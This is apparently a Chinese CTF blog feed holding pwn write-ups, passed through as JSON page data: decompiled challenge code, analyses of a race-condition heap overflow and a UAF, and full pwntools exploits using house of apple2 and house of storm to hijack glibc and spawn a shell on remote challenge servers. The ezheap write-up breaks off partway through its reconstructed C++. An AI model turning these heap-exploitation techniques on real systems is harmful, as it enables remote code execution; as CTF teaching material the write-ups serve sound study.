[rsp+10h] [rbp-10h] BYREF unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); pthread_create(\u0026amp;newthread, 0, (void *(*)(void *))do_task, task); return v3 - __readfsqword(0x28u); } 开一个线程跑任务，直接跑，没有锁的相关逻辑\nfree_packet 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 void __fastcall free_packet(__int64 packet) { int i; // [rsp+1Ch] [rbp-4h] if ( packet ) { for ( i = 0; i \u0026lt; *(_DWORD *)(packet + 8); ++i ) { free(*(void **)(16LL * i + *(_QWORD *)packet)); free(*(void **)(16LL * i + *(_QWORD *)packet + 8)); } free(*(void **)packet); free((void *)packet); } } 释放与 packet 有关的所有资源\ndo_task 1 2 3 4 5 6 7 8 9 10 11 12 13 void *__fastcall do_task(const char **task) { int i; // [rsp+1Ch] [rbp-14h] char *dest; // [rsp+28h] [rbp-8h] *(_DWORD *)task = strlen(task[4]); dest = (char *)task[4]; for ( i = 0; i \u0026lt; *(_DWORD *)task; ++i ) task[4][i] ^= 0x3Fu; task_log(*((_DWORD *)task + 4), \u0026#34;Task has been done\\n\u0026#34;); memcpy(dest, task[4], *(int *)task); return 0; } 执行任务，会先对 task content 做一个异或操作，然后重新自拷贝一遍\n如果在 memcpy 之前覆写了 task content 的指针，就有机会重写 dest 的内容并实现堆溢出\n利用异或操作可以规避 \u0026lsquo;\\x00\u0026rsquo; 的截断\ntask_log 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 unsigned __int64 __fastcall task_log(int a1, const char *a2) { int v3; // [rsp+14h] [rbp-2BCh] int v4; // [rsp+1Ch] [rbp-2B4h] time_t timer; // [rsp+20h] [rbp-2B0h] BYREF struct tm *tp; // [rsp+28h] [rbp-2A8h] FILE *stream; // [rsp+30h] [rbp-2A0h] size_t v8; // [rsp+38h] [rbp-298h] char filename[64]; // [rsp+40h] [rbp-290h] BYREF char s[64]; // [rsp+80h] [rbp-250h] BYREF char ptr[520]; // [rsp+C0h] [rbp-210h] BYREF unsigned __int64 v12; // [rsp+2C8h] [rbp-8h] v12 = __readfsqword(0x28u); time(\u0026amp;timer); tp = localtime(\u0026amp;timer); strftime(s, 0x40u, \u0026#34;%Y-%m-%d %H:%M:%S\u0026#34;, tp); v3 = strlen(s); v4 = v3 + strlen(a2) + 3; memset(ptr, 0, 0x200u); snprintf(filename, 0x40u, \u0026#34;/tmp/task_%d_log\u0026#34;, a1); stream = fopen(filename, \u0026#34;a\u0026#34;); if ( stream ) { snprintf(ptr, v4 + 1, \u0026#34;%s: %s\\n\u0026#34;, s, a2); v8 = fwrite(ptr, 1u, v4, stream); fclose(stream); } sleep(4u); return v12 - __readfsqword(0x28u); } 阻塞 4 秒，为上面的条件竞争创造了有利的条件\n结构体分析 strdup 的存在大大增加了堆环境的复杂性\npacket 有关的所有堆内存都会在数据处理完成后释放，每一轮循环开始时申请，结束时释放\n其余的堆内存只有 user-info 会在 deregister 时被释放\n漏洞分析 最重要的漏洞便是上面提到的条件竞争产生的堆溢出，利用过程为：\n首先 register 15 个用户，让 allocated_task 达到上限 对用户 A 进行 submit_task 在 do_task 处于 memcpy 的阻塞状态时，把 A deregister 掉，然后再 register 用户 B ，使用户 B 的 user-info chunk 刚好是被 free 掉的用户 A 的 user-info chunk ，此时由于 allocated_task 已经达到上限且不会回退，B 的 task 还是原来 A 的 task ，同时 B 的 running-tag 被重置为 0 ，所以允许 B 再次 submit_task 去提交更大的 content 让 B 提交更大的 content 等 A 的 task 阻塞结束后，触发 memcpy ，使得旧的 content(strdup) 的内容被新的 content(strdup) 覆写，并产生溢出，溢出位置在旧的 content(strdup) 上，并且有充足的溢出长度 在溢出过程中，我们需要去伪造一些指针，这就需要泄露堆地址，这一点是比较容易的：注意到 token 的 chunk 大小和 user-info 一致，我们只要在一轮注册中安排 token 被分配到被释放的 user-info chunk 上，就可以通过 task 泄露堆地址\n密切关注可能的 0x30 大小的 chunk ，我们发现在一次 register-\u0026gt;login-\u0026gt;deregister-\u0026gt;register-\u0026gt;login 路径中，由于提交的数据包包含 token ，一共会申请两个大小为 0x30 的 chunk 并释放， user-info 先释放， packet 中的 token 的 value 后释放，那么在第二个 register 中，由于 user-info 先申请， token 后申请，根据 tcache 的 LIFO 特性，旧的 user-info 会被分配给 token ，最后的 login 的 printf 就会把堆地址泄露出来\n然后是 libc 的泄露，需要用到上面的堆溢出\n经过精心（xia meng）布局堆的结构，我们使得溢出的时候能够轻易够到某个 user-info chunk 然后劫持它的 token 指针，指向一个写了 libc 相关地址的位置，然后用 login 读出即可\n最后我们还可以注意到在 submit_task 时会往 task + 0x20 上写一个可控的堆地址 (content) ，这意味着我们可以劫持 task 去实现任意地址写可控堆地址，然后就有机会打 house of apple2 啦\n总结一下路径\n1 leak heap -\u0026gt; overflow to leak libc -\u0026gt; hijack task ptr to write house of apple2 exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.os = \u0026#39;linux\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 1 file = \u0026#39;./main_patched\u0026#39; elf = ELF(file) libc = ELF(\u0026#39;./libc.so.6\u0026#39;) target = \u0026#39;60.205.163.215\u0026#39; port = 13774 if debug: p = process(file) else: p = remote(target, port) io = p def dbg(cmd = \u0026#39;\u0026#39;): if debug: gdb.attach(p, gdbscript = cmd) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x, data :p.sendafter(x, data) sla = lambda x, data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4, b\u0026#39;\\x00\u0026#39;)) uu64 = lambda data :u64(data.ljust(8, b\u0026#39;\\x00\u0026#39;)) uru64 = lambda :uu64(ru(\u0026#39;\\x7f\u0026#39;)[-6:]) leak = lambda name :log.success(name + \u0026#39; = \u0026#39; + hex(eval(name))) def safe_linking(pos, ptr): return (pos \u0026gt;\u0026gt; 12) ^ ptr def transpld(payload): return bytes([b ^ 0x3f for b in payload]) def sendpacket(packet): data = b\u0026#39;\u0026#39; for key, val in packet.items(): data += key + b\u0026#39;:\u0026#39; + val + b\u0026#39;\\n\u0026#39; s(data) def register(name, pwd): sendpacket({ b\u0026#39;command\u0026#39;: b\u0026#39;register\u0026#39;, b\u0026#39;username\u0026#39;: name.encode(), b\u0026#39;password\u0026#39;: pwd.encode() }) def login(name, pwd): sendpacket({ b\u0026#39;command\u0026#39;: b\u0026#39;login\u0026#39;, b\u0026#39;username\u0026#39;: name.encode(), b\u0026#39;password\u0026#39;: pwd.encode() }) def submit_task(token, content): sendpacket({ b\u0026#39;command\u0026#39;: b\u0026#39;submit_task\u0026#39;, b\u0026#39;user_token\u0026#39;: token, b\u0026#39;task_content\u0026#39;: transpld(content) }) def deregister(token): sendpacket({ b\u0026#39;command\u0026#39;: b\u0026#39;deregister\u0026#39;, b\u0026#39;user_token\u0026#39;: token }) register(\u0026#39;QwQ\u0026#39;, \u0026#39;QwQ\u0026#39;) # leak heap login(\u0026#39;QwQ\u0026#39;, \u0026#39;QwQ\u0026#39;) ru(b\u0026#39;token:\u0026#39;) qwqtoken = r(32) deregister(qwqtoken) register(\u0026#39;QwQ\u0026#39;, \u0026#39;QwQ\u0026#39;) login(\u0026#39;QwQ\u0026#39;, \u0026#39;QwQ\u0026#39;) ru(b\u0026#39;token:\u0026#39;) qwqtoken = r(32) heap = uu64(r(6)) - 0x4b0 leak(\u0026#39;heap\u0026#39;) for i in range(13): # heap feng shui register(str(i), str(i)) sendpacket({ b\u0026#39;command\u0026#39;: b\u0026#39;login\u0026#39;, b\u0026#39;a\u0026#39;: b\u0026#39;a\u0026#39; * 0x30, b\u0026#39;b\u0026#39;: b\u0026#39;a\u0026#39; * 0x30, b\u0026#39;c\u0026#39;: b\u0026#39;a\u0026#39; * 0x30, b\u0026#39;d\u0026#39;: b\u0026#39;a\u0026#39; * 0x30 }) register(\u0026#39;OwO\u0026#39;, \u0026#39;OwO\u0026#39;) login(\u0026#39;OwO\u0026#39;, \u0026#39;OwO\u0026#39;) ru(b\u0026#39;token:\u0026#39;) owotoken = r(32) fake_heap = flat({ # race condition and heap overflow 0x8: 0x41, 0x10: safe_linking(heap + 0x1000, heap + 0x1460), 0x48: 0x31, 0x50: heap + 0x1640, 0x58: heap + 0x3f0, 0x60: heap + 0x1770, }, filler = b\u0026#39;\\x00\u0026#39;) payload = b\u0026#39;B\u0026#39; * 0x30 + fake_heap + b\u0026#39;\\x00\u0026#39; submit_task(owotoken, b\u0026#39;A\u0026#39; * 0x30) deregister(owotoken) register(\u0026#39;www\u0026#39;, \u0026#39;w\u0026#39; * 0x20) login(\u0026#39;www\u0026#39;, \u0026#39;w\u0026#39; * 0x20) ru(b\u0026#39;token:\u0026#39;) token = r(32) submit_task(token, payload) sleep(4) login(\u0026#39;www\u0026#39;, \u0026#39;w\u0026#39; * 0x20) # leak libc ru(b\u0026#39;token:\u0026#39;) token = r(6) libc.address = uu64(token) + 0x9c8 leak(\u0026#39;libc.address\u0026#39;) target = libc.sym[\u0026#39;stdout\u0026#39;] - 0x20 fake_heap = flat({ # race condition and heap overflow 0x8: 0x41, 0x48: 0x41, 0x50: safe_linking(heap + 0x1000, heap + 0x1420), 0x88: 0x31, 0x90: heap + 0x15f0, 0x98: heap + 0x1b60, 0xa0: heap + 0x1b80, 0xb0: target, }, filler = b\u0026#39;\\x00\u0026#39;) payload = b\u0026#39;B\u0026#39; * 0x30 + fake_heap + b\u0026#39;\\x31\u0026#39; submit_task(token, b\u0026#39;A\u0026#39; * 0x30) deregister(token) register(\u0026#39;mmm\u0026#39;, \u0026#39;mmm\u0026#39;) login(\u0026#39;mmm\u0026#39;, \u0026#39;mmm\u0026#39;) ru(b\u0026#39;token:\u0026#39;) token = r(32) submit_task(token, payload) sleep(4) fake_io_base = heap + 0x1fe0 # house of apple2 fake_io = flat({ 0x0: b\u0026#39; sh;\u0026#39;, 0x8: 0, 0x20: 0, 0x68: libc.sym[\u0026#39;system\u0026#39;], 0x88: fake_io_base, 0xA0: fake_io_base - 0x10, # __rdx__ 0xD0: fake_io_base, 0xD8: libc.sym[\u0026#39;_IO_wfile_jumps\u0026#39;] - 0x20, }, filler=b\u0026#34;\\x00\u0026#34;) submit_task(token, fake_io) sleep(5) sendpacket({ # tricker b\u0026#39;a\u0026#39;: b\u0026#39;a\u0026#39;, }) itr() ","date":"2026-04-27T10:50:00Z","image":"https://pic.ratherhard.com/random/rd4.png","permalink":"/post/ctf-pwn/nese-test-pwn-deploy/","title":"据说是 NeSE 考核题目的题解"},{"content":"半决赛 catchme checksec 1 2 3 4 5 6 [*] \u0026#39;/home/RatherHard/CTF-pwn/ciscn/catchme/catchme\u0026#39; Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled IDA main 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { initbuf(a1, a2, a3); while ( 1 ) { switch ( (unsigned __int8)menu() ) { case \u0026#39;1\u0026#39;: allocate(); break; case \u0026#39;2\u0026#39;: delete(); break; case \u0026#39;3\u0026#39;: leak(); break; case \u0026#39;4\u0026#39;: edit(); break; case \u0026#39;5\u0026#39;: exit(-1); case \u0026#39;6\u0026#39;: clear(); break; default: puts(\u0026#34;invalid operation\u0026#34;); break; } } } allocate 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 __int64 allocate() { int i; // [rsp+8h] [rbp-18h] int v2; // [rsp+Ch] [rbp-14h] char nptr[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); for ( i = 0; i \u0026lt;= 4 \u0026amp;\u0026amp; shelter[i]; ++i ) ; if ( i \u0026gt; 4 ) { puts(\u0026#34;shelter is full\u0026#34;); return 0xFFFFFFFFLL; } puts(\u0026#34;choose your creature type\u0026#34;); puts(\u0026#34;(1)fox\u0026#34;); puts(\u0026#34;(2)hawk\u0026#34;); puts(\u0026#34;(3)otter\u0026#34;); myread(nptr); v2 = atoi(nptr); switch ( v2 ) { case 1: shelter[i] = malloc(0x430u); puts(\u0026#34;a fox joins your shelter\u0026#34;); break; case 2: shelter[i] = malloc(0x440u); puts(\u0026#34;a hawk joins your shelter\u0026#34;); break; case 3: shelter[i] = calloc(1u, 0x48u); puts(\u0026#34;an otter joins your shelter\u0026#34;); break; default: puts(\u0026#34;invalid operation\u0026#34;); return 0xFFFFFFFFLL; } printf( \u0026#34;token(1):%lx\\ttoken(2):%lx\\n\u0026#34;, shelter[i] \u0026amp; 0xFFFLL, (unsigned __int8)((unsigned __int16)WORD2(shelter[i]) \u0026gt;\u0026gt; 8)); return 0; } delete 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 __int64 delete() { unsigned int v1; // [rsp+Ch] [rbp-14h] char nptr[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); puts(\u0026#34;index:\u0026#34;); myread(nptr); v1 = atoi(nptr); if ( v1 \u0026lt;= 4 \u0026amp;\u0026amp; shelter[v1] ) { free((void *)shelter[v1]); return 0; } else { puts(\u0026#34;invalid operation\u0026#34;); return 0xFFFFFFFFLL; } } leak 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 __int64 leak() { unsigned int v1; // [rsp+Ch] [rbp-14h] char nptr[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); puts(\u0026#34;inspection pass: one time only\u0026#34;); if ( leak_counts ) { leak_counts = 0; puts(\u0026#34;index:\u0026#34;); myread(nptr); v1 = atoi(nptr); if ( v1 \u0026lt;= 4 \u0026amp;\u0026amp; shelter[v1] ) { printf(\u0026#34;tag:%s\\n\u0026#34;, (const char *)(shelter[v1] + 8LL)); return 0; } else { puts(\u0026#34;invalid operation\u0026#34;); return 0xFFFFFFFFLL; } } else { puts(\u0026#34;no more permissions\u0026#34;); return 0xFFFFFFFFLL; } } edit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 __int64 edit() { unsigned int v1; // [rsp+4h] [rbp-1Ch] __int64 v2; // [rsp+8h] [rbp-18h] char nptr[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); if ( edit_counts \u0026lt;= 0 ) { puts(\u0026#34;no more permissions\u0026#34;); return 0xFFFFFFFFLL; } else { puts(\u0026#34;you can retag at most three times\u0026#34;); --edit_counts; puts(\u0026#34;index:\u0026#34;); myread(nptr); v1 = atoi(nptr); if ( v1 \u0026lt;= 4 \u0026amp;\u0026amp; shelter[v1] ) { v2 = shelter[v1]; puts(\u0026#34;set tag:\u0026#34;); read(0, (void *)(v2 + 8), 0x18u); return 0; } else { puts(\u0026#34;invalid operation\u0026#34;); return 0xFFFFFFFFLL; } } } clear 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 __int64 clear() { unsigned int v1; // [rsp+Ch] [rbp-14h] char nptr[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); puts(\u0026#34;index:\u0026#34;); myread(nptr); v1 = atoi(nptr); if ( v1 \u0026lt;= 4 ) { shelter[v1] = 0; puts(\u0026#34;record cleared\u0026#34;); return 0; } else { puts(\u0026#34;invalid operation\u0026#34;); return 0xFFFFFFFFLL; } } 攻击思路 有明显的 UAF 漏洞\n拥有 0x440 / 0x450 / 0x50 大小的 chunk\n0x50 大小的走 calloc ，不使用 tcache\nglibc 版本为 2.27\n所以这题目打的是 house of storm\n但是有点小坑， 如果最后回弹 fake chunk 时未填满 0x50 的 tcache 会导致 tcache stashing unlink 触发导致回弹失败，并在又一次的 bins 的处理循环中崩溃，，，\n打完 house of storm 后劫持 __free_hook 打 onegadget 即可\n刚好这道题可以直接打 onegadget ，如果上下文环境不满足的话，得劫持 __malloc_hook 和 __realloc_hook （两个连着的）去微调栈帧了\nhouse of storm 在一次 malloc 中同时执行一次 unsortedbin attack 和两次 largebin attack 伪造出一个 0x50 大小的 fake chunk （size 为 0x55）\n利用条件：\nglibc 版本小于等于 2.28 布局两个属于 largesize 的 chunk ，分别放在 unsortedbin 和 largebin 中，前者的 size 要比后者的大，且两个 chunk 要属于同一个 index 具体操作：\nunsortedchunk-\u0026gt;bk = target1 largechunk-\u0026gt;bk = target2 largechunk-\u0026gt;bk_nextsize = target3 产生效果：\nunsorted_chunks(av) = target1 target1-\u0026gt;fd = unsorted_chunks(av) target2-\u0026gt;fd = unsortedchunk target3-\u0026gt;fd_nextsize = unsortedchunk 由于不进行链表完整性检查，直接伪造：\nunsortedchunk-\u0026gt;bk = target largechunk-\u0026gt;bk = target + 0x8 largechunk-\u0026gt;bk_nextsize = target - 0x18 - 5 产生效果：\nunsorted_chunks(av) = target target-\u0026gt;fd = unsorted_chunks(av) target-\u0026gt;bk = unsortedchunk target-\u0026gt;size = 0x55 / 0x56 target 就是伪造的 chunk ，接下来只要申请一个 0x50 大小的 chunk 就能拿到 target 的写入权限\n但是需要多试几次，如果 size 为 0x56 的话会崩掉，必须是 0x55 ，要求 NON_MAIN_ARENA 位为 0\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.os = \u0026#39;linux\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 0 file = \u0026#39;./catchme_patched\u0026#39; elf = ELF(file) libc = ELF(\u0026#39;./libc.so.6\u0026#39;) target = \u0026#39;challenge.imxbt.cn\u0026#39; port = 32219 if debug: p = process(file) else: p = remote(target, port) io = p def dbg(cmd = \u0026#39;\u0026#39;): if debug: gdb.attach(p, gdbscript = cmd) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x, data :p.sendafter(x, data) sla = lambda x, data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4, b\u0026#39;\\x00\u0026#39;)) uu64 = lambda data :u64(data.ljust(8, b\u0026#39;\\x00\u0026#39;)) uru64 = lambda :uu64(ru(b\u0026#39;\\x7f\u0026#39;)[-6:]) leak = lambda name :log.success(name + \u0026#39; = \u0026#39; + hex(eval(name))) def allocate(idx): sla(b\u0026#39;\u0026gt;\u0026gt;\\n\u0026#39;, b\u0026#39;1\u0026#39;) sla(b\u0026#39;(3)otter\\n\u0026#39;, str(idx).encode()) def delete(idx): sla(b\u0026#39;\u0026gt;\u0026gt;\\n\u0026#39;, b\u0026#39;2\u0026#39;) sla(b\u0026#39;index:\\n\u0026#39;, str(idx).encode()) def leak_once(idx): sla(b\u0026#39;\u0026gt;\u0026gt;\\n\u0026#39;, b\u0026#39;3\u0026#39;) sla(b\u0026#39;index:\\n\u0026#39;, str(idx).encode()) def edit(idx, content): sla(b\u0026#39;\u0026gt;\u0026gt;\\n\u0026#39;, b\u0026#39;4\u0026#39;) sla(b\u0026#39;index:\\n\u0026#39;, str(idx).encode()) sa(b\u0026#39;tag:\\n\u0026#39;, content) def exit(): sla(b\u0026#39;\u0026gt;\u0026gt;\\n\u0026#39;, b\u0026#39;5\u0026#39;) def clear(idx): sla(b\u0026#39;\u0026gt;\u0026gt;\\n\u0026#39;, b\u0026#39;6\u0026#39;) sla(b\u0026#39;index:\\n\u0026#39;, str(idx).encode()) allocate(1) # build bin for _ in range(7): allocate(3) delete(1) clear(1) allocate(3) delete(0) allocate(2) allocate(2) delete(2) leak_once(0) # leak libc ru(b\u0026#39;tag:\u0026#39;) bk_leak = uu64(r(6)) libc.address = bk_leak - 0x3ec0a0 leak(\u0026#39;libc.address\u0026#39;) fake_chunk_base = libc.symbols[\u0026#39;__free_hook\u0026#39;] - 0x18 # house of storm edit(2, p64(fake_chunk_base) + p64(0) + p64(0)) edit(0, p64(fake_chunk_base + 0x8) + p64(0) + p64(fake_chunk_base - 0x20 + 0x3)) allocate(3) edit(4, p64(libc.address + 0x4f302) + p64(0) + p64(0)) # get shell delete(1) itr() ","date":"2026-04-23T12:37:00Z","image":"https://pic.ratherhard.com/random/rd4.png","permalink":"/post/ctf-pwn/contest/ciscn-2026-pwn-wp/","title":"CISCN-2026-pwn 题解"},{"content":"ez-nc 攻击思路 盲打，发现有格式化字符串漏洞，提示下载 ez-nc ，但是单文件名上限为 7 ，且禁止明文出现 \u0026ldquo;ez-nc\u0026rdquo;。 因此考虑利用栈上的环境变量来下载 ez-nc 。\nexp 输入 %99$s 后把文件 dump 下来反编译即可发现明文 flag\nezheap ez 在哪了，，，\nchecksec 1 2 3 4 5 6 7 8 9 [*] \u0026#39;/home/RatherHard/CTF-pwn/PolarisCTF/ezheap/inference_forge\u0026#39; Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled SHSTK: Enabled IBT: Enabled IDA 去符号化，还是 C++ 逆向，，，还要还原结构体，，，\n难点全在逆向上了\n逆向结果：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 #include \u0026lt;iostream\u0026gt; #include \u0026lt;cstring\u0026gt; #define __int64 long long #define uint32_t unsigned int #define uint64_t unsigned long long #define uint8_t unsigned char struct session_handle // sizeof=0x50 { uint32_t slot_id; uint32_t payload_size; char *payload; char alias[32]; uint64_t generation; void (*postproc)(session_handle *); uint64_t pad[2]; }; struct scheduler_ctrl // sizeof=0x48 { uint64_t magic_iforge; union { struct { uint8_t strict_policy; uint8_t healthy; }; uint64_t task_list[8]; }; }; struct task_descriptor // sizeof=0x50 { uint64_t task_id; uint64_t arg0; uint64_t pad10; void *handler; // alias[8:16] void *ctx; char tag[0x28]; }; struct worker_profile // sizeof=0x50 { uint64_t cpu_quota; uint64_t mem_quota; uint64_t io_weight; uint64_t latency_slo; uint64_t replicas; char memo[32]; uint64_t region_code; }; struct runtime_state // sizeof=0x190 { uint32_t artifact_items; uint32_t artifact_stride; uint32_t artifact_alloc_bytes; uint32_t pad; uint64_t artifact_declared_bytes; void *artifact_arena; scheduler_ctrl *scheduler; task_descriptor *task_desc[8]; session_handle *sessions[16]; uint64_t session_generation[16]; uint8_t session_active[16]; worker_profile **worker_profiles_begin; worker_profile **worker_profiles_end; worker_profile **worker_profiles_cap; worker_profile **worker_profiles_cap; }; void session_postproc_xor_stride(); void audit_flag_snapshot(); void session_postproc_clamp_negative_bytes(); void session_postproc_shift_right(); void task_handler_echo_descriptor(); void task_handler_mul3(); void task_handler_xor_cookie(); void worker_vector_realloc_insert(worker_profile **begin, worker_profile **end, worker_profile *new_element); // 3 __int64 bootstrap_scheduler(runtime_state *state) { if ( state-\u0026gt;scheduler ) { std::cout \u0026lt;\u0026lt; \u0026#34;scheduler already bootstrapped\u0026#34; \u0026lt;\u0026lt; std::endl; return 0; } state-\u0026gt;scheduler = (scheduler_ctrl *)malloc(0x38u); if ( state-\u0026gt;scheduler ) { state-\u0026gt;scheduler-\u0026gt;magic_iforge = \u0026#39;IFORGE\u0026#39;; *(_OWORD *)(v10 + 26) = 0; *((_WORD *)v10 + 4) = 257; *(_OWORD *)(v10 + 10) = 0; *(_OWORD *)(v10 + 40) = 0; int i = 0; while ( 1 ) { task_descriptor *task_desc = (task_descriptor *)malloc(0x50u); if ( !task_desc ) break; void *func; if ( i % 3 == 0 ) func = task_handler_echo_descriptor; if ( i % 3 == 1 ) func = task_handler_xor_cookie; if ( i % 3 == 2 ) func = task_handler_mul3; task_desc-\u0026gt;handler = func; task_desc-\u0026gt;task_id = i; task_desc-\u0026gt;arg0 = i + 1; task_desc-\u0026gt;ctx = task_desc; snprintf(task_desc-\u0026gt;tag, 32, \u0026#34;sqe-%zu\u0026#34;, i); state-\u0026gt;task_desc[i] = task_desc; *((_QWORD *)\u0026amp;state-\u0026gt;scheduler + v17) = v16; if ( i == 7 ) { std::cout \u0026lt;\u0026lt; \u0026#34;scheduler bootstrap complete, strict_policy=on\u0026#34; \u0026lt;\u0026lt; std::endl; return 0; } ++i; } std::cout \u0026lt;\u0026lt; \u0026#34;task descriptor allocation failed\u0026#34; \u0026lt;\u0026lt; std::endl; } } // 4 unsigned __int64 inspect_scheduler_queue(runtime_state *state) { if ( state-\u0026gt;scheduler ) { std::cout \u0026lt;\u0026lt; \u0026#34;queue_ctrl=\u0026#34; \u0026lt;\u0026lt; \u0026amp;state-\u0026gt;scheduler \u0026lt;\u0026lt; \u0026#34; strict_policy=\u0026#34; \u0026lt;\u0026lt; state-\u0026gt;scheduler-\u0026gt;strict_policy \u0026lt;\u0026lt; \u0026#34; healthy=\u0026#34; \u0026lt;\u0026lt; state-\u0026gt;scheduler-\u0026gt;healthy \u0026lt;\u0026lt; std::endl; for ( int i = 0; i != 8; ++i ) { std::cout \u0026lt;\u0026lt; \u0026#34;[task \u0026#34; \u0026lt;\u0026lt; i \u0026lt;\u0026lt; \u0026#34;] desc=\u0026#34; \u0026lt;\u0026lt; \u0026amp;state-\u0026gt;task_desc[i] \u0026lt;\u0026lt; \u0026#34; handler=\u0026#34; \u0026lt;\u0026lt; \u0026amp;state-\u0026gt;task_desc[i]-\u0026gt;handler \u0026lt;\u0026lt; \u0026#34; ctx=\u0026#34; \u0026lt;\u0026lt; \u0026amp;state-\u0026gt;task_desc[i]-\u0026gt;ctx \u0026lt;\u0026lt; \u0026#34; tag=\u0026#39;\u0026#34; \u0026lt;\u0026lt; state-\u0026gt;task_desc[i]-\u0026gt;tag \u0026lt;\u0026lt; \u0026#34;\u0026#39;\u0026#34; \u0026lt;\u0026lt; std::endl; } } else { std::cout \u0026lt;\u0026lt; \u0026#34;scheduler offline\u0026#34; \u0026lt;\u0026lt; std::endl; } return 0; } // 5 unsigned __int64 allocate_session_tensor(runtime_state *state) { int slot, tensor_bytes, alias; std::cout \u0026lt;\u0026lt; \u0026#34;session.slot(0-15)\u0026gt; \u0026#34;; std::cin \u0026gt;\u0026gt; slot; std::cout \u0026lt;\u0026lt; \u0026#34;session.tensor_bytes\u0026gt; \u0026#34;; std::cin \u0026gt;\u0026gt; tensor_bytes; std::cout \u0026lt;\u0026lt; \u0026#34;session.alias\u0026gt; \u0026#34;; std::cin \u0026gt;\u0026gt; alias; if ( (unsigned int)slot \u0026lt;= 0xF ) { session_handle *session = (session_handle *)malloc(0x50u); session-\u0026gt;slot_id = slot; session-\u0026gt;payload_size = tensor_bytes; session-\u0026gt;payload = (char *)malloc(tensor_bytes); if ( session-\u0026gt;payload ) { memset((void 